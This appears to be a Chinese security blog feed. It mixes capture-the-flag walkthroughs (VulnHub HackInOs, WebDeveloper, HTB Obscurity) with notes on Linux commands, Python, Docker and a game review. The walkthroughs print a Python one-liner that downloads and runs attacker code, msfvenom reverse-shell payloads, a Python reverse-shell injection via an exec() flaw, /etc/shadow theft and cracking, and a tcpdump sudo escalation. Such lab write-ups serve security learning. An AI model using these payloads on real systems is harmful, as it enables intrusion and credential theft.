https://medium.com/@barrymalone/vulnhub-vulnhub
https://medium.com/@alshawwa/vulnhub

vulnhub靶机渗透-HackInOs

Mon, 10 Feb 2020 00:00:00 GMT

HackInOs(有内网)

信息收集

靶机IP 192.168.99.100
kali IP 192.168.99.101

nmap扫描结果

存在上传点但是无法上传文件

Burp抓包发现页面源代码有注释
https://github.com/fatihhcelik/Vulnerable-Machine---Hint/blob/master/upload.php

看到提示

看到其只使用了getimagesize函数进行检验
通过加添GIF89a可以绕过上传

而文件的名字是这么产生的

于是上传一个一句话木马，然后对目录进行爆破即可

# coding:utf-8



base_url = "http://192.168.99.100:8000/uploads/"
target = []
for i in range(101):
    shell = 'shell.php' + str(i) 
    shell_md5 = hashlib.md5(shell.encode('utf-8')).hexdigest()
    target.append(base_url + shell_md5 + '.php')

for t in target:
    r = requests.get(t)
    if r.status_code == 200:
        print("find it!")
        print(t)
        break

之后使用蚁剑成功连接

但是发现上传不久之后shell就被删掉了

所以需要将shell移动到html目录下，(考验手速的时候到了)

此时成功得到shell，开始提权

提权

查找SUID的程序

find / -user root -perm -4000 -print 2>/dev/null

使用tail命令查看/etc/shadow

将root用户复制过来，使用john进行爆破

得到root账号的密码是john

之后切换到root用户查看flag，但是并没有结束

运行提权辅助脚本

注意到提权辅助脚本提示有docker

查看IP

看这个IP地址很像是docker中的地址

尝试直接用root账户及其密码john进行连接，失败

大概猜到了我只是拿到了一台docker容器的权限，并没有进入到主机

后渗透

反弹的shell功能还是弱了，想办法得到一个meterpreter

这里有记录一下通过shell拿到meterpreter的几种办法

web_delivery脚本

使用exploit/multi/script/web_delivery

设置好相关参数

在反弹的shell中运行这段payload

python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.99.101:8080/1PrsFQbkzsmuk5');exec(r.read());"

得到meterpreter之后输入background让其挂起

使用msfenvom生成木马

使用exploit/multi/handler 这个exploit模块

加载linux/x86/meterpreter_reverse_tcp 这个payload，同时通过msfvenom 去生成一个木马

msfvenom生成木马

msfvenom -p linux/x86/meterpreter_reverse_tcp lhost=192.168.99.102 lport=4444 -f elf -o shell

蚁剑上传

执行

反弹得到meterpreter

得到子网信息

之后通过metasploit之后添加一条路由

此时就可以看到添加的路由信息了

路由添加也可以通过：rout add 172.18.0.0 255.255.0.0 1

指定了网段和子网掩码，以及对应的session

这之后我们就可以在metasploit中访问内网的地址了，先进行主机发现

发现了四台主机

进行后续的端口扫描

(由于扫描速度比较慢，参数调整了一下)

这里也尝试通过proxychain去进行扫描

proxychain的配置

使用socks4a代理，修改/etc/proxychains.conf文件，

取消注释同时在最后一行加上127.0.0.1 1080
由于proxyresolv的位置有点问题，cp过来

cp /usr/lib/proxychains3/proxyresolv /usr/bin/

之后可以通过proxychains nmap -A -T4 172.18.0.2启动nmap扫描，但是扫描的结果有问题

root@kali:~# proxyresolv 172.18.0.3
|S-chain|-<>-127.0.0.1:1080-<><>-4.2.2.2:53-<><>-OK
172.18.0.3

能够正常解析但是还是存在问题

172.18.0.2 开放了3306端口数据库，进行连接

此处也可以通过portfwd add -l 8123 -r 172.18.0.3 -p 3306端口转发到本地进行连接

mysql -h 127.0.0.1 -P 8123 -uwordpress -pwordpress

查看数据

解密之后得到123456

于是尝试直接使用该用户登陆主机

该用户在docker组中，可以尝试通过docker提权

运行的docker镜像

docker挂载即可

得到flag

另外一种方式提权

find / -user root -perm -4000 -print 2>/dev/null

查找SUID用户运行的程序

发现a.out

猜测其运行的是whoami命令

通过环境变量提权

同样拿到flag

Linux命令trick

Fri, 07 Feb 2020 00:00:00 GMT

常用的命令组合

统计字符串长度

$ echo -n 12345 | wc -c
5

搜索文件后门

# 简单的查找后门
find . -name '*.php' | xargs grep -n 'eval('
find . -name '*.php' | xargs grep -n 'assert('
find . -name '*.php' | xargs grep -n 'system('

数据库备份 mysqldump用法

mysqldump -u db_user -p db_passwd db_name > bak.sql//备份指定数据库
mysqldump --all-databases > bak.sql //备份所有数据库

mysql -u db_user -p db_passwd db_name < bak.sql //还原指定数据库
//也可以登录到mysql之后再 source xxx.sql

mysql 修改密码

mysql> set password for root@localhost = password('root');
Query OK, 0 rows affected, 1 warning (0.00 sec)

但是这条命令似乎不行

update user set password=PASSWORD('NEW PASSWORD') where user='root';

每天一个Linux命令-kill

Fri, 07 Feb 2020 00:00:00 GMT

ps命令

首先需要熟悉一下 ps 命令

一般通过 ps aux | more 查看到所有的进程

ps -e 列出程序时，显示每个程序所使用的环境变量

ps u 　以用户为主的格式来显示程序状况。

ps -a显示同一终端下的所有程序

ps a 显示所有进程

kill 命令

python3字符串

Thu, 06 Feb 2020 00:00:00 GMT

f字符串

基本用法

In [2]: name = "pxy"

In [3]: f'Hello, my name is {name}'
Out[3]: 'Hello, my name is pxy'

求值运算

In [5]: >>> f'Complex number {(2 + 2j) / (2 - 3j)}'
Out[5]: 'Complex number (-0.15384615384615388+0.7692307692307692j)'
    
In [6]: import math

In [7]: f'The answer is {math.log(math.pi)}'
Out[7]: 'The answer is 1.1447298858494002

f-string大括号内也可填入lambda表达式，但lambda表达式的 : 会被f-string误认为是表达式与格式描述符之间的分隔符，为避免歧义，需要将lambda表达式置于括号 () 内：

In [1]: f'result is {(lambda x: x ** 2 + 1) (2)}'
Out[1]: 'result is 5'

bytes

str转bytes

In [23]: bytes(a, encoding="gbk")
Out[23]: b'\xb0\xd9\xb6\xc8'

In [24]: bytes(a, encoding="utf-8")
Out[24]: b'\xe7\x99\xbe\xe5\xba\xa6'

从十六进制转化为bytes

In [39]: a = 'aabbccddeeff'

In [40]: a_bytes = bytes.fromhex(a)

In [41]: a_bytes
Out[41]: b'\xaa\xbb\xcc\xdd\xee\xff'

从bytes转化为十六进制

In [42]: a_bytes
Out[42]: b'\xaa\xbb\xcc\xdd\xee\xff'

In [43]: a_bytes.hex()
Out[43]: 'aabbccddeeff'

base64编码byets

python3的base64包的 b64encode 只能使用 bytes 类型

# 比如我们要编码 \xac\xed
In [54]: a = "aced"

In [55]: a = bytes.fromhex(a)

In [56]: a
Out[56]: b'\xac\xed'

In [57]: base64.b64encode(a)
Out[57]: b'rO0='

md5加密bytes

python3 只能用hashlib中的md5函数

a = hashlib.md5()
a.update(b"pxy")
a.hexdigest()

封装一下

# 生成MD5
def genearteMD5(str):
    # 创建md5对象
    hl = hashlib.md5()

    # Tips
    # 此处必须声明encode
    # 否则报错为：hl.update(str)    Unicode-objects must be encoded before hashing
    hl.update(str.encode(encoding='utf-8'))

    print('MD5加密前为 ：' + str)
    print('MD5加密后为 ：' + hl.hexdigest())

一些小技巧

判断字符串是否为空

用 a == None 是不行的

可以这样

a = ""
if a.strip() == "":
	print("a is null")

list和str转换

In [17]: a = "aaaafasfasd"

In [18]: list(a)
Out[18]: ['a', 'a', 'a', 'a', 'f', 'a', 's', 'f', 'a', 's', 'd']

固定长度分割字符串

传统上一般是遍历

def fix_width_split(string, width):
    return [string[x : x + width] for x in range(0, len(string), width)]

print fix_width_split('123456789', 3)

但是如果有了正则，可以这样



string = '123456789'
split = re.findall(r'.{7}', string)

结果

In [76]: string = '123456789'

In [77]: split = re.findall(".{3}", string)

In [78]: split
Out[78]: ['123', '456', '789']

bytes写入文件

以二进制方式打开即可

参考

python格式化字符串f-string

python字符串trick

vulnhub靶机渗透-WebDeveloper

Thu, 06 Feb 2020 00:00:00 GMT

信息收集

扫描端口发现是 80 和 22开放了，其中80运行着wordpress服务

使用 wpscan 扫描用户和插件

wpscan --url http://192.168.99.100/ -e u,p

发现了用户 webdeveloper

之后自然是尝试爆破密码了，使用 wpscan 和 hydra 同时爆破

wpscan --url http://192.168.99.100/ -U webdeveloper  -P ./rockyou.txt

hydra -l webdeveloper -P rockyou.txt  -t 10 192.168.99.100 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:login_error"

但是经过很长时间后并没有爆破出来，神器 xray 扫描也未探测到相关信息

也尝试使用了 dirsearch.py ，但是依旧无果

换用了 dirb

GENERATED WORDS: 4613                                                          

---- Scanning URL: http://192.168.99.100/ ----
+ http://192.168.99.100/index.php (CODE:301|SIZE:0)                                                                                                         
==> DIRECTORY: http://192.168.99.100/ipdata/   !!!                                                                                                             
+ http://192.168.99.100/server-status (CODE:403|SIZE:302)                                                                                                   
==> DIRECTORY: http://192.168.99.100/wp-admin/                                                                                                              
==> DIRECTORY: http://192.168.99.100/wp-content/                                                                                                            
==> DIRECTORY: http://192.168.99.100/wp-includes/                                                                                                           
+ http://192.168.99.100/xmlrpc.php (CODE:405|SIZE:42)

发现了 ipdata/ 目录，访问之后是一个流量包

打开之后过滤

http.request.method == "POST"

原来密码这么复杂。怪不得爆破不出来

getshell

登录后台之后发现安装了两个插件，并且可以修改源代码，这时候就会想到用 msfvenom 生成php木马，然后反弹得到shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.99.1 lport=4444 -f raw -o shell.php

修改一个插件的源码然后启用就能拿到shell了

然后查看 wp-config.php

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'webdeveloper');

/** MySQL database password */
define('DB_PASSWORD', 'MasterOfTheUniverse');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

获得了数据库的账号和密码，那就登陆一下数据库

但是在数据库中并没有获得很多信息

mysql> show tables;
show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.00 sec

尝试直接ssh登陆，居然可以！

提权

登录之后， sudo -l

webdeveloper@webdeveloper:~$ sudo -l
[sudo] password for webdeveloper:
Matching Defaults entries for webdeveloper on webdeveloper:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
    (root) /usr/sbin/tcpdump

那就可以用 tcpdump 提权了

webdeveloper@webdeveloper:~$ touch /tmp/exploit
webdeveloper@webdeveloper:~$ echo "cat /root/flag.txt" > /tmp/exploit
webdeveloper@webdeveloper:~$ chmod +x /tmp/exploit
webdeveloper@webdeveloper:~$ sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
[sudo] password for webdeveloper:
dropped privs to root
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
Maximum file limit reached: 1
1 packet captured
710 packets received by filter
0 packets dropped by kernel
webdeveloper@webdeveloper:~$ Congratulations here is youre flag:
cba045a5a4f26f1cd8d7be9a5c2b1b34f6c5d290

冰气时代玩后感

Thu, 06 Feb 2020 00:00:00 GMT

寒假正逢steam打折，一直放在愿望单中的冰气时代这会降价了，果断入坑

买来之后第一把就找不着北了，游戏的玩法还是比较简单，但是前期资源匮乏，我需要收集木炭和木材，我一开始并没有意识到，等我将木材耗尽之后发现没有地方可以收集木材了？？？周围倒是有一些冻树木，但是要建造伐木场才行，wtf???,这游戏难道就到头了？

之后去找了B站的教程，欸突然意识到原来黑乎乎的一团有些是煤堆，有些是木箱23333，采集木箱可以收集木材。哦这游戏居然可以这样玩啊。这还只是我遇到的第一个坑，后面还遇到了建房子要和道路相连，道路要和能量塔相连等等

不过这个游戏设计的比较好的就是法律和不满值了，我一直很担心不满值会升高，但是有些法律又不得不的签署，比如童工，比如加班，如果不这样的话就导致资源收集的速度很慢，大部分时候收集到的煤炭一个晚上就耗完了。

每天一个Linux命令-tcpdump

Thu, 06 Feb 2020 00:00:00 GMT

基本用法

-i 指定网卡接口
-c 指定数量
-w 保存的文件名
-z 指定脚本
-Z 指定用户

使用实例

指定主机，截获所有210.27.48.1 的主机收到的和发出的所有的数据包

tcpdump host 210.27.48.1

截获主机210.27.48.1 和主机210.27.48.2 或210.27.48.3的通信

tcpdump host 210.27.48.1 and \ (210.27.48.2 or 210.27.48.3 \)

截获主机hostname发送的所有数据

tcpdump -i eth0 src host hostname

监视所有送到主机的数据包

tcpdump -i eth0 dst host hostname

如果想要获取主机210.27.48.1接收或发出的telnet包，使用如下命令

tcpdump tcp port 23 and host 210.27.48.1

对本机的udp 123 端口进行监视 123 为ntp的服务端口

tcpdump udp port 123

使用tcpdump抓包，再用wireshark查看

tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap

抓取http包

tcpdump  -XvvennSs 0 -i eth0 tcp[20:2]=0x4745 or tcp[20:2]=0x4854

tcpdump提权

遇到这种情况

webdeveloper@webdeveloper:~$ sudo -l
[sudo] password for webdeveloper:
Matching Defaults entries for webdeveloper on webdeveloper:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webdeveloper may run the following commands on webdeveloper:
    (root) /usr/sbin/tcpdump

可以用root身份执行tcpdump命令，其中 /tmp/exploit 是想要以root身份执行的脚本

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

-z 指定脚本，-Z 指定用户身份

HTB Obscurity靶机实战

Wed, 05 Feb 2020 00:00:00 GMT

信息收集

这里可以先设置一下hosts文件

10.10.10.168 obscure.htb

扫描端口发现开放了 8080 的web端口

页面提示有一个源码泄露

Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory

那我们就需要爆破目录了

使用 wfuzz

sudo wfuzz -c -z file,common.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

得到源码：



from datetime import datetime






respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}

class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}

class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size) # 收到客户端的数据，应该就是数据包
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode()) # byte转str，返回的req是list
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"

        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

审计源码发现关键点：

def serveDoc(self, path, docRoot):
    path = urllib.parse.unquote(path)
    try:
        info = "output = 'Document: {}'" # Keep the output for later debug
        exec(info.format(path)) # This is how you do string formatting, right?
        cwd = os.path.dirname(os.path.realpath(__file__))
        docRoot = os.path.join(cwd, docRoot)

大致说一下代码的含义，开启socket监听，接收到http请求，调用 Request 类的 parseRequest 方法做分割，然后调用 handleRequest 处理请求，通过 serveDoc 处理请求的文档

exec 函数处存在命令注入

In [33]: path = "/';os.system('whoami')#"

In [34]: exec(info.format(path))
laptop-ubiep4k5\zz

然后就可以通过python反弹shell了





url = 'http://10.10.10.168:8080/'

path='5\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.146",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''

payload = urllib.parse.quote(path)
print("payload")
print(url+payload)

r= requests.get(url+payload)
print(r.headers)
print(r.text)

反弹到shell之后继续进行信息收集：

check.txt，大致含义就是加密了这个文件，加密的结果是 out.txt

www-data@obscure:/home/robert$ cat check.txt
cat check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!

out.txt, 这个就是加密的结果

www-data@obscure:/home/robert$ xxd out.txt
xxd out.txt
00000000: c2a6 c39a c388 c3aa c39a c39e c398 c39b  ................
00000010: c39d c39d c289 c397 c390 c38a c39f c285  ................
00000020: c39e c38a c39a c389 c292 c3a6 c39f c39d  ................
00000030: c38b c288 c39a c39b c39a c3aa c281 c399  ................
00000040: c389 c3ab c28f c3a9 c391 c392 c39d c38d  ................
00000050: c390 c285 c3aa c386 c3a1 c399 c39e c3a3  ................
00000060: c296 c392 c391 c288 c390 c3a1 c399 c2a6  ................
00000070: c395 c3a6 c398 c29e c28f c3a3 c38a c38e  ................
00000080: c38d c281 c39f c39a c3aa c386 c28e c39d  ................
00000090: c3a1 c3a4 c3a8 c289 c38e c38d c39a c28c  ................
000000a0: c38e c3ab c281 c391 c393 c3a4 c3a1 c39b  ................
000000b0: c38c c397 c289 c281 76                   ........v

passwordreminder.txt 又是一个加密后的文件

www-data@obscure:/home/robert$ hd passwordreminder.txt
hd passwordreminder.txt
00000000  c2 b4 c3 91 c3 88 c3 8c  c3 89 c3 a0 c3 99 c3 81  |................|
00000010  c3 91 c3 a9 c2 af c2 b7  c2 bf 6b                 |..........k|
0000001b

BetterSSH.py (这个之后提权会用到)

www-data@obscure:/home/robert/BetterSSH$ cat BetterSSH.py
cat BetterSSH.py








path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

SuperSecureCrypt.py

www-data@obscure:/home/robert$ cat SuperSecureCrypt.py
cat SuperSecureCrypt.py



def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

从加密的脚本中可以知道关键的加密逻辑：

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

所以我们只需要爆破密钥了

爆破脚本


with open('check.txt','r',encoding='UTF-8') as f:
    ta = f.read()
    
key=''
with open('out.txt','r',encoding='UTF-8') as f:
    data = f.read()
    for x in range(len(data)):
        for i in range(255):
            ch = chr((ord(data[x])-i)%255)
            if ch == ta[x]:
                key +=chr(i)
                break
    print(key)

得到密钥

alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal

这里我遇到了一个难点，不知道如何将文件copy出来，本来我是可以通过 python3 -m http.server 8001 在靶机上开一个端口的，但是不知道为什么不成功。所以我这里是通过xxd来复原的

将 xxd 得到的结果复制出来，然后我们可以通过xxd -r 反向 dump 出结果

robert@obscure:~$ xxd out.txt
00000000: c2a6 c39a c388 c3aa c39a c39e c398 c39b  ................
00000010: c39d c39d c289 c397 c390 c38a c39f c285  ................
00000020: c39e c38a c39a c389 c292 c3a6 c39f c39d  ................
00000030: c38b c288 c39a c39b c39a c3aa c281 c399  ................
00000040: c389 c3ab c28f c3a9 c391 c392 c39d c38d  ................
00000050: c390 c285 c3aa c386 c3a1 c399 c39e c3a3  ................
00000060: c296 c392 c391 c288 c390 c3a1 c399 c2a6  ................
00000070: c395 c3a6 c398 c29e c28f c3a3 c38a c38e  ................
00000080: c38d c281 c39f c39a c3aa c386 c28e c39d  ................
00000090: c3a1 c3a4 c3a8 c289 c38e c38d c39a c28c  ................
000000a0: c38e c3ab c281 c391 c393 c3a4 c3a1 c39b  ................
000000b0: c38c c397 c289 c281 76                   ........v

user flag

得到密钥之后我们再解密即可

www-data@obscure:/home/robert$ python3 SuperSecureCrypt.py -i passwordreminder.txt -o /tmp/key.txt -k alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal -d
k alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal -d
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file passwordreminder.txt...
Decrypting...
Writing to /tmp/key.txt...
www-data@obscure:/home/robert$ cat /tmp/key.txt
cat /tmp/key.txt
SecThruObsFTW

成功登陆

拿到 flag

robert@obscure:~$ ls
BetterSSH  check.txt  out.txt  passwordreminder.txt  SuperSecureCrypt.py  user.txt
robert@obscure:~$ cat user.txt
e4493782066b55fe2755708736ada2d7

提权

robert用户登陆之后，sudo -l 查看能够执行的root命令，发现能够以root身份执行 BetterSSH.py

robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

审计源码发现关键点：

with open('/etc/shadow', 'r') as f:
    data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
    if not x == None:
        passwords.append(x)

passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
    f.write(passwordFile)

程序会将 /etc/shadow 写入到 /tmp/SSH 的某个随机的目录中，于是想到我们只需要写个死循环不断地复制该目录下的文件即可



while True:
    files = os.listdir("./SSH")
    for file in files:
        shutil.copy(os.path.join("./SSH", file), "./flag");

或者使用 shell 脚本

robert@obscure:/tmp$ cat scandir.sh
#/bin/bash
path=$1
while (true); do
    file=$(ls $path)
    if [ "${file}" == "" ]
    then
        continue
    else
        mv $path/$file ./
        break
    fi
done

然后我们执行就会发现 flag 目录中存在文件

robert@obscure:/tmp/flag$ ls
Tdrs5183
robert@obscure:/tmp/flag$ cat Tdrs5183
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7

robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7

john 解密得到 mercedes

robert@obscure:/tmp$ sudo python3 ~/BetterSSH/BetterSSH.py
Enter username: root
Enter password: mercedes
Authed!
root@Obscure$ ls
Output: SSH
systemd-private-da1116f9cf3e43be847886abe5bdf51e-systemd-resolved.service-zZTUtH
systemd-private-da1116f9cf3e43be847886abe5bdf51e-systemd-timesyncd.service-AkWIWi
vmware-root_574-2990744286

root@Obscure$ cat /root/root.txt
Output: 512fd4429f33a113a44d5acde23609e3

总结

做完后感觉并不是很难，但是还是发现自己在代码的能力偏弱，写个脚本要花很长的时间

docker基本使用指南

Sun, 02 Feb 2020 00:00:00 GMT

docker 遇到的坑

运行的时候不能直接用 ./ 指定当前的文件，需要 $PWD

一次性清理所有的已经关闭的容器
docker ps -a | grep Exit | cut -d ' ' -f 1 | xargs docker rm

:ro 表示只读

访问受到限制

此时目录下的文件权限

重新运行了一下

看来是文件权限的问题，也就是说docker会默认将文件权限直接复制过来，由于我之前的那个用户是pxy，而docker环境中并没有这个用户，导致就变成了1000

移除镜像

docker image rm xxxx

–link 参数

自动添加了环境变量

还有这个

/etc/hosts 也会更新

神奇。。
运行nginx和php-fpm
docker run --name myphp-fpm -v $PWD/www:/www -d php:5.6-fpm

